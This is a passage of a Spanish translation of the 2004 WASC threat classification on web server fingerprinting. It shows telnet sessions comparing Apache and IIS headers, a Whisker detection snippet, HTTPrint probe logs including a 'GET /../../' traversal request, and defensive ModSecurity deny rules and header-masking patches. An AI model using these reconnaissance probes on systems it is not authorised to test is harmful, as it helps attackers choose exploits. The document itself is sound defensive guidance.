las cabeceras de respuesta HTTP, particularmente cuando se 
asignan cookies y en redirecciones. Es posible utilizar productos de 
terceros para protegerse contra la inyección CR/LF, y para probar la 
existencia de tales agujeros de seguridad antes de realizar el 
despliegue de la aplicación. 
 
Otras recomendaciones son: 

• Asegurarse de que se está utilizando el motor más actualizado 
de la aplicación 

• Asegurarse de que la aplicación es accedida a través de una 
única dirección IP (es decir, la misma direccióin IP no está 
siendo usada para otro uso, como ocurre con hosting virtual) 
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Referencias 
[1] "Divide and Conquer – HTTP Response Splitting, Web Cache 
Poisoning Attacks, and Related Topics" by Amit Klein, 
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf 
 
[2] “CRLF Injection” by Ulf Harnhammar (BugTraq posting), 
http://www.securityfocus.com/archive/1/271515 
 
 

1.2 Identificación del servidor/aplicación web  
La identificación del servidor/aplicación web es similar a su 
predecesor, la identificación TCP/IP (con el escáner favorito hoy en 
día – Nmap) excepto en que está focalizada en la capa de aplicación 
del modelo OSI en lugar de la capa de transporte. La teoría tras la 
identificación de servidor/aplicación web es crear un perfil exacto del 
software objetivo, configuraciones y posiblemente incluso su 
arquitectura/topología de red analizando lo siguiente: 
 
Diferencias de implementación del protocolo HTTP 
Cabeceras de respuesta HTTP  
Extensiones de ficheros (.asp contra .jsp) 
Cookies (ASPSESSION) 
Páginas de error (¿páginas por defecto?) 
Estructuras de directorio y convenciones de nombres (Windows/Unix) 
Interfaces de desarrollo web (Frontpage/WebPublisher) 
Interfaces de administración web (iPlanet/Comanche) 
Desajustes en la identificación de sistema operativo (¿IIS en Linux?) 
 
La operación normal de los atacantes es identificar la presencia de la 
web objetivo y enumerar cuanta información sea posible. Con esta 
información, el atacante puede desarrollar un escenario exacto del 
ataque, que puede explotar eficazmente una vulnerabilidad para el 
tipo/versión de software que está siendo utilizado por la máquina 
objetivo. 
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Identificar exactamente esta información para realizar posibles 
ataques es de vital importancia ya que muchas vulnerabilidades de 
seguridad (como desbordamientos de búffer, etc.) son 
extremadamente dependientes de un software y número de versión 
específicos. De forma adicional, identificar correctamente las 
versiones de software y seleccionar los exploits adecuados reduce el 
“ruido” total del ataque mientras incrementa su efectividad. Es por 
esta razón que un servidor/aplicación web que se identifica a sí 
mismo de forma obvia, está invitando la llegada de problemas. 
 
De hecho, el HTTP RFC 2068 discute exactamente esta cuestión e 
impulsa a los administradores web a tomar medidas para ocultar la 
versión de software que está siendo mostrada por la cabecera 
“Server” de la respuesta: 
 
“Nota: La revelación de la versión específica de software del 
servidor permite que el servidor sea más vulnerable a ataques 
contra el software del que se conoce que contiene agujeros de 
seguridad. Se anima a los administradores del servidor a crear 
este campo como una opción configurable.” 
 
Debido al hecho de que es posible deducir el tipo y versión del 
servidor/aplicación web que está siendo utilizado por el objetivo 
mediante la correlación de la información recopilada por otras 
categorías de Revelación de Información, nos enfocaremos sólo en 
el análisis de la implementación del protocolo HTTP que utilizan las 
herramientas de identificación web hoy en día. 
 
 
Ejemplos:  
Todos los ejemplos mostrados a continuación demuestran las 
técnicas de análisis de la composición e interpretación de las 
peticiones HTTP por los servidores web objetivo. 
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Diferencias de implementación del protocolo HTTP 
 
Léxico – La categoría de características léxicas abarca variaciones 
en las palabras/frases usadas actualmente, así como la 
capitalización y puntuación mostrada por las cabeceras de respuesta 
HTTP.   
 
Mensaje de código de respuesta – En el código de error 404, 
Apache informa “Not Found” mientras que Microsoft IIS/5.0 informa 
“Object Not Found”. 
 

Apache 1.3.29 - 404 Microsoft-IIS/4.0 - 404 
# telnet target1.com 80 
Trying target1.com... 
Connected to 
target1.com. 
Escape character is 
'^]'. 
HEAD /non-existent-
file.txt HTTP/1.0 
 
HTTP/1.1 404 Not Found 
Date: Mon, 07 Jun 2004 
14:31:03 GMT 
Server: Apache/1.3.29 
(Unix) mod_perl/1.29 
Connection: close 
Content-Type: 
text/html; charset=iso-
8859-1 
 
Connection closed by 
foreign host. 
 

# telnet target2.com 80 
Trying target2.com... 
Connected to 
target2.com. 
Escape character is 
'^]'. 
HEAD /non-existent-
file.txt HTTP/1.0 
 
HTTP/1.1 404 Object Not 
Found 
Server: Microsoft-
IIS/4.0 
Date: Mon, 07 Jun 2004 
14:41:22 GMT 
Content-Length: 461 
Content-Type: text/html 
 
Connection closed by 
foreign host. 
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Expresión de cabeceras – La cabecera “Content-Length” es 
devuelta en lugar de “Content-length”. 
 

Netscape-Enterprise/6.0 
– HEAD  

Microsoft-IIS/4.0 - 
HEAD 

# telnet target1.com 80 
Trying target1.com... 
Connected to 
target1.com. 
Escape character is 
'^]'. 
HEAD / HTTP/1.0 
 
HTTP/1.1 200 OK 
Server: Netscape-
Enterprise/6.0 
Date: Mon, 07 Jun 2004 
14:55:25 GMT 
Content-length: 26248 
Content-type: text/html 
Accept-ranges: bytes 
 
Connection closed by 
foreign host. 

# telnet target2.com 80 
Trying target2.com... 
Connected to 
target2.com. 
Escape character is 
'^]'. 
HEAD / HTTP/1.0 
 
HTTP/1.1 404 Object Not 
Found 
Server: Microsoft-
IIS/4.0 
Date: Mon, 07 Jun 2004 
15:22:54 GMT 
Content-Length: 461 
Content-Type: text/html 
 
Connection closed by 
foreign host. 

 
 
Sintáctico – Por el RFC HTTP, todas las comunicaciones web 
requieren tener una estructura y composición predefinida de modo 
que ambas partes pueden entender a cada otra. Todavía existen 
variaciones en la ordenación de las cabeceras de respuesta HTTP. 
 
Ordenación de cabeceras – Los servidores Apache 
coherentemente colocan la cabecera “Date” antes que la cabecera 
“Server”, mientras que Microsoft-IIS tiene estas cabeceras en orden 
inverso. 
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Apache 1.3.29– HEAD  Microsoft-IIS/4.0 - 
HEAD 

# telnet target1.com 80 
Trying target1.com... 
Connected to 
target1.com. 
Escape character is 
'^]'. 
HEAD / HTTP/1.0 
 
HTTP/1.1 200 OK 
Date: Mon, 07 Jun 2004 
15:21:24 GMT 
Server: Apache/1.3.29 
(Unix) mod_perl/1.29 
Content-Location: 
index.html.en 
Vary: negotiate,accept-
language, 
accept-charset 
TCN: choice 
Last-Modified: Fri, 04 
May 2001 00:00:38 GMT 
ETag: "4de14-5b0-
3af1f126;40a4ed5d" 
Accept-Ranges: bytes 
Content-Length: 1456 
Connection: close 
Content-Type: text/html 
Content-Language: en 
Expires: Mon, 07 Jun 
2004 15:21:24 GMT 
 
Connection closed by 
foreign host. 

# telnet target2.com 80 
Trying target2.com... 
Connected to 
target2.com. 
Escape character is 
'^]'. 
HEAD / HTTP/1.0 
 
HTTP/1.1 404 Object Not 
Found 
Server: Microsoft-
IIS/4.0 
Date: Mon, 07 Jun 2004 
15:22:54 GMT 
Content-Length: 461 
Content-Type: text/html 
 
Connection closed by 
foreign host. 
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Ordenación de listas – Cuando un método OPTIONS es enviado en 
una petición HTTP, una lista de métodos permitidos para la URI dada 
son devueltos en una cabecera “Allow”. Apache sólo devuelve la 
cabecera “Allow”, mientras que IIS también incluye una cabecera 
“Public”.  
 

Apache 1.3.29– OPTIONS  Microsoft-IIS/5.0 - 
OPTIONS 

# telnet target1.com 80 
Trying target1.com... 
Connected to 
target1.com. 
Escape character is 
'^]'. 
OPTIONS * HTTP/1.0 
 
HTTP/1.1 200 OK 
Date: Mon, 07 Jun 2004 
16:21:58 GMT 
Server: Apache/1.3.29 
(Unix) mod_perl/1.29 
Content-Length: 0 
Allow: GET, HEAD, 
OPTIONS, TRACE 
Connection: close 
 
Connection closed by 
foreign host. 

# telnet target2.com 80 
Trying target2.com... 
Connected to 
target2.com. 
Escape character is 
'^]'. 
OPTIONS * HTTP/1.0 
 
HTTP/1.1 200 OK 
Server: Microsoft-
IIS/5.0 
Date: Mon, 7 Jun 2004 
12:21:38 GMT 
Content-Length: 0 
Accept-Ranges: bytes 
DASL: <DAV:sql> 
DAV: 1, 2 
Public: OPTIONS, TRACE, 
GET, HEAD, DELETE, PUT, 
POST, COPY, MOVE, 
MKCOL, PROPFIND, 
PROPPATCH, LOCK, 
UNLOCK, SEARCH 
Allow: OPTIONS, TRACE, 
GET, HEAD, DELETE, PUT, 
POST, COPY, MOVE, 
MKCOL, PROPFIND, 
PROPPATCH, LOCK, 
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UNLOCK, SEARCH 
Cache-Control: private 
 
Connection closed by 
foreign host. 

 
 
Semántico – Además de las palabras y frases que son devueltas en 
la respuesta HTTP, hay diferencias obvias en como los servidores 
web interpretan tanto las peticiones gramaticalmente correctas como  
las anormales/no conformes.  
 
Presencia de cabeceras específicas – Un servidor tiene una 
selección de cabeceras para incluir en la respuesta. Mientras 
algunas cabeceras son requeridas por la especificación, la mayoría 
de cabeceras (por ejemplo, ETag) son opcionales. En los ejemplos 
siguientes, las cabeceras de respuesta de los servidores Apache 
incluyen entradas adicionales como: ETag, Vary y Expires mientras 
que esto no ocurre con el servidor IIS. 
 

Apache 1.3.29– HEAD  Microsoft-IIS/4.0 - 
HEAD 

# telnet target1.com 80 
Trying target1.com... 
Connected to 
target1.com. 
Escape character is 
'^]'. 
HEAD / HTTP/1.0 
 
HTTP/1.1 200 OK 
Date: Mon, 07 Jun 2004 
15:21:24 GMT 
Server: Apache/1.3.29 
(Unix) mod_perl/1.29 
Content-Location: 

# telnet target2.com 80 
Trying target2.com... 
Connected to 
target2.com. 
Escape character is 
'^]'. 
HEAD / HTTP/1.0 
 
HTTP/1.1 404 Object Not 
Found 
Server: Microsoft-
IIS/4.0 
Date: Mon, 07 Jun 2004 
15:22:54 GMT 
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index.html.en 
Vary: negotiate,accept-
language, 
accept-charset 
TCN: choice 
Last-Modified: Fri, 04 
May  
2001 00:00:38 GMT 
ETag: "4de14-5b0-
3af1f126;40a4ed5d" 
Accept-Ranges: bytes 
Content-Length: 1456 
Connection: close 
Content-Type: text/html 
Content-Language: en 
Expires: Mon, 07 Jun 
2004 15:21:24 GMT 
 
Connection closed by 
foreign host. 

Content-Length: 461 
Content-Type: text/html 
 
Connection closed by 
foreign host. 

 
Códigos de respuesta para peticiones anormales – Incluso 
aunque las mismas peticiones sean hechas contra los servidores 
web objetivos, es posible que la interpretación de las peticiones sean 
diferentes y, por lo tanto, se generen distintos códigos de respuesta. 
Un ejemplo perfecto de diferencia semántica en la interpretación es 
el test de la “identificación ligera” que utiliza el escáner Whisker. La 
sección de código Perl mostrada más abajo, tomada del fichero 
main.test de Whisker 2.1, ejecuta dos pruebas para determinar si el 
servidor web objetivo es de hecho un servidor Apache, 
independientemente de lo que informe la cabecera “Server”. La 
primera petición es un “GET //” y si el código de estado HTTP es 200, 
entonces la siguiente petición es enviada. La segunda petición es 
“GET /%2f”, con la URI codificada – y traducida por “GET //”. En esta 
ocasión Apache devuelve un código 404 – código de error Not 
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Found. Otros servidores web – IIS – no retornan los mismos códigos 
de estado para estas peticiones.  
 
 
# now do some light fingerprinting... 
        -- CUT --         
        my $Aflag=0; 
        $req{whisker}->{uri}='//'; 
        if(!_do_request(\%req,\%G_RESP)){ 
                _d_response(\%G_RESP); 
                if($G_RESP{whisker}->{code}==200){ 
                        $req{whisker}-
>{uri}='/%2f'; 
                        
if(!_do_request(\%req,\%G_RESP)){ 
                                
_d_response(\%G_RESP); 
                                $Aflag++ 
if($G_RESP{whisker}->{code}==404); 
        }       }       } 
         
        m_re_banner('Apache',$Aflag); 
 
 
Después de ejecutar Whisker contra el sitio web objetivo, se informa, 
a partir de las pruebas previas, que el servidor web puede ser de 
hecho un servidor Apache. A continuación se muestra el ejemplo de 
la sección de informe  de Whisker: 
 
------------------------------------------ 
Title: Server banner 
Id: 100 
Severity: Informational 
The server returned the following banner: 
Microsoft-IIS/4.0 
------------------------------------------ 
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Title: Alternate server type 
Id: 103 
Severity: Informational 
Testing has identified the server might be an 
'Apache' server. This 
Change could be due to the server not correctly 
identifying itself (the 
Admins changed the banner).  Tests will now check 
for this server type 
as well as the previously identified server types. 
------------------------------------------ 
 
 
  
No sólo tiene en cuenta el atacante esta alarma de que los 
administradores del servidor web son lo suficientemente inteligentes 
como para modificar la información de identificación de la cabecera 
“Server”, pero Whisker también añadirá en todas las pruebas de 
Apache su exploración lo que incrementará su exactitud. 
 
 
Soluciones  
No es posible eliminar cada información de identificación 
proporcionada por su servidor web. El hecho es que un determinado 
ataque será capaz de identificar su software de servidor web. Su 
objetivo debe ser elevar el listón de reconocimiento a una altura que 
provoque al atacante a realizar pruebas lo suficientemente “sonoras” 
como para que generen una alerta de seguridad. Los pasos 
comentados a continuación ayudarán en esta tarea. Las soluciones 
son listadas en orden, de más facil a más compleja de implementar. 
 
Modificar la cadena de identificación de la cabecera “Server” 
Es posible editar y/o modificar (con objetivos de engañar) la 
información mostrada en la cabecera “Server” de la respuesta de un 
servidor web. Hubo mucho debate en los círculos de la seguridad 
web sobre cuanta protección puede ser ganada por el cambio de la 



 

86 
Copyright 2004, Web Application Security Consortium. All rights reserved.  

información en la cabecera “Server”. Mientras la sola alteración de la 
cadena de identificación, y no tomando otras medidas para ocultar la 
versión de software, probablemente no proporciona mucha 
protección frente a la gente que se dedica de forma activa a llevar a 
cabo identificaciones, esto realmente ayuda respecto al bloqueo de 
programas gusano automatizados. Debido al incremento en 
popularidad del uso de gusanos para la infección masiva de 
sistemas, este método de proteger sus servidores web se convierte 
en vital. Este paso seguramente permitiría ganar a las empresas 
algún tiempo durante la fase de parcheado cuando nuevos gusanos 
son lanzados y estos son configurados para atacar sistemas basados 
en la cadena de identificación de la respuesta del servidor. 
 
Servidores Apache – ModSecurity tiene la directiva 
SecServerSignature, que permite al administrador web poner la 
información de la cadena de identificación desde el fichero httpd.conf 
en lugar de editar el código fuente de Apache de forma previa a su 
compilación. 
 
Servidores IIS – Instalando las herramientas IISLockDown y 
URLScan, puede actualizar la información de identificación devuleta 
a los clientes. 
 
Minimizar la verbosidad de la información en las cabeceras 
Restringir la cantidad de información devuelta en las cabeceras de 
respuesta. Por ejemplo, Apache permite al administrador controlar la 
verbosidad de la cadena de identificación, editando la directiva 
ServerTokens: 
 
ServerTokens Prod[uctOnly]  
El servidor envía (por ejemplo): Server: Apache  
ServerTokens Min[imal]  
El servidor envía (por ejemplo):  Server: Apache/1.3.0  
ServerTokens OS  
El servidor envía (por ejemplo):  Apache/1.3.0 (Unix)  
ServerTokens Full (or not specified)  



 

87 
Copyright 2004, Web Application Security Consortium. All rights reserved.  

El servidor envía (por ejemplo):  Server: Apache/1.3.0 (Unix) PHP/3.0 
MyMod/1.2 
 
Minimizando las cabeceras, puede ocultar información adicional 
como los módulos de apache que se encuentran instalados. 
 
 
Implementar cabeceras falsas 
Una técnica alternativa para desistir/confundir la identificación del 
servidor web es mostrar una topología web falsa. Los atacantes 
normalmente incluyen sesiones de captura de cadenas de 
identificación como parte del proceso global de identificación. 
Durante la identificación, el atacante trata de conocer la arquitectura 
de la empresa objetivo. Añadiendo cabeceras falsas adicionales, 
simulamos un complejo entorno web (es decir, una DMZ). Añadiendo 
cabeceras adicionales para simular la existencia de un proxy inverso, 
podemos crear la “apariencia” de una arquitectura compleja. 
 
Para servidores Apache, podemos añadir la siguiente entrada en el 
fichero httpd.conf para conseguir esta función: 
Header set Via "1.1 squid.proxy.companyx.com 
(Squid/2.4.STABLE6)" 
ErrorHeader set Via “1.1 squid.proxy.companyx.com 
(Squid/2.4.STABLE6)" 
Header set X-Cache “MISS from www.nonexistenthost.com” 
ErrorHeader set X-Cache “MISS from 
www.nonexistenthost.com” 
   
Estas entradas añaden “Via” y “X-Cache” a las cabeceras de 
respuesta HTTP para todas las respuestas, como se muestra a 
continuación: 
 
# telnet localhost 80 
Trying 127.0.0.1... 
Connected to localhost. 
Escape character is '^]'. 
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HEAD / HTTP/1.0 
 
HTTP/1.1 200 OK 
Server: Microsoft-IIS/4.0 
Date: Sun, 30 Mar 2003 21:59:46 GMT 
Content-Location: index.html.en 
Vary: negotiate,accept-language,accept-charset 
TCN: choice 
Via: 1.1 squid.proxy.companyx.com 
(Squid/2.4.STABLE6) 
X-Cache: MISS from www.nonexistenthost.com 
Content-Length: 2673 
Connection: close 
 
Esto provoca la ilusión de que usamos un servidor proxy Squid y 
presentamos datos de web de un servidor inexistente. Esto podría 
atraer al atacante a lanzar exploits para Squid contra nuestro 
servidor Apache, que desde luego serían un fracaso, o atacar la 
máquina especificada en la cabecera “X-Cache” que en realidad no 
existe. 
 
 
Instalar herramientas de seguridad web de terceros 
Instalando aplicaciones o herramientas adicionales de seguridad 
web, como ModSecurity o ServerMask, es posible interrumpir o 
engañar las aplicaciones de identificación de servidores web de hoy 
en día, como HTTPrint. Como se describe en los apartados de 
ejemplo siguientes, estas herramientas probarán servidores web 
objetivo con muchas peticiones distintas para intentar e iniciar una 
respuesta específica. A continuación se muestran algunas de las 
peticiones anormales que HTTPrint envía al servidor web: 
 
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] 
"JUNKMETHOD / HTTP/1.0" 501 344 "-" "-" 
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] 
"GET / JUNK/1.0" 400 381 "-" "-" 
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192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] 
"get / HTTP/1.0" 501 330 "-" "-" 
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] 
"GET / HTTP/0.8" 200 1456 "-" "-" 
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] 
"GET / HTTP/1.2" 200 1456 "-" "-" 
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] 
"GET / HTTP/3.0" 200 1456 "-" "-" 
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] 
"GET /../../ HTTP/1.0" 400 344 "-" "-" 
 
 
Si ponemos en práctica una herramienta como ModSecurity para 
servidores Apache, podemos crear filtros que cumplan el RFC HTTP, 
que provocarán sobre estos peticiones anormales. A continuación se 
muestran entradas ModSecurity al fichero httpd.conf que pueden ser 
usadas: 
 
# This will return a 403 - Forbidden Status Code 
for all Mod_Security actions 
SecFilterDefaultAction "deny,log,status:403" 
 
# This will deny directory traversals 
SecFilter "\.\./" 
  
# This entry forces compliance of the request 
method.  Any requests that do NOT 
# start with either GET|HEAD|POST will be denied.  
This will catch/trigger on 
# junk methods. 
SecFilterSelective THE_REQUEST "!^(GET|HEAD|POST)"  
 
# This entry will force HTTP compliance to the end 
portion of the request.  If 
# the request does NOT end with a valid HTTP 
version, then it will be denied. 
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SecFilterSelective THE_REQUEST 
"!HTTP\/(0\.9|1\.0|1\.1)$" 
 
 
 
Edición de código fuente 
Esta es la tarea de contramedida más compleja para la identificación, 
pero por otro lado, es la más efectiva. El riesgo contra la recompensa 
para esta tarea puede variar enormemente dependiendo de su nivel 
de conocimiento de programación o su arquitectura web. 
Generalizando, esta labor incluye la edición de código fuente del 
servidor web de forma previa a la compilación o con el actual código 
binario utilizando un editor binario. Para servidores web de código 
abierto como Apache, esta tarea es mucho más fácil ya que se tiene 
acceso al código. 
 
Ordenación de cabeceras – A continuación se muestra el parche de 
código fuente para el servidor Apache 1.3.29 que corregirá el orden 
de las cabeceras DATE/SERVER y también imitará los datos de 
salida del método OPTIONS de IIS. Este parche actualiza el fichero 
http_protocol.c file en el directorio /apache_1.3.29/src/main. La 
sección OPTIONS devolverá cabeceras que se encuentran 
asociadas normalmente a respuestas de IIS. Esto incluye las 
cabeceras Public, DASL, DAV y Cache-Control. 
 
 
--- http_protocol.c.orig        Mon Apr 26 02:11:58 
2004 
+++ http_protocol.c     Mon Apr 26 02:43:31 2004 
@@ -1597,9 +1597,6 @@ 
     /* output the HTTP/1.x Status-Line */ 
     ap_rvputs(r, protocol, " ", r->status_line, 
CRLF, NULL); 
  
-    /* output the date header */ 
-    ap_send_header_field(r, "Date", 
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ap_gm_timestr_822(r->pool, r->request_time)); 
- 
     /* keep the set-by-proxy server header, 
otherwise 
      * generate a new server header */ 
     if (r->proxyreq) { 
@@ -1612,6 +1609,9 @@ 
         ap_send_header_field(r, "Server", 
ap_get_server_version()); 
     } 
  
+    /* output the date header */ 
+    ap_send_header_field(r, "Date", 
ap_gm_timestr_822(r->pool, r->request_time)); 
+ 
     /* unset so we don't send them again */ 
     ap_table_unset(r->headers_out, "Date");        
/* Avoid bogosity */ 
     ap_table_unset(r->headers_out, "Server"); 
@@ -1716,7 +1716,9 @@ 
     ap_basic_http_header(r); 
  
     ap_table_setn(r->headers_out, "Content-
Length", "0"); 
+    ap_table_setn(r->headers_out, "Public", 
"OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, 
COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, 
UNLOCK, SEARCH"); 
     ap_table_setn(r->headers_out, "Allow", 
make_allow(r)); 
+    ap_table_setn(r->headers_out, "Cache-Control", 
"private"); 
     ap_set_keepalive(r); 
  
     ap_table_do((int (*) (void *, const char *, 
const char *)) ap_send_header_field, 
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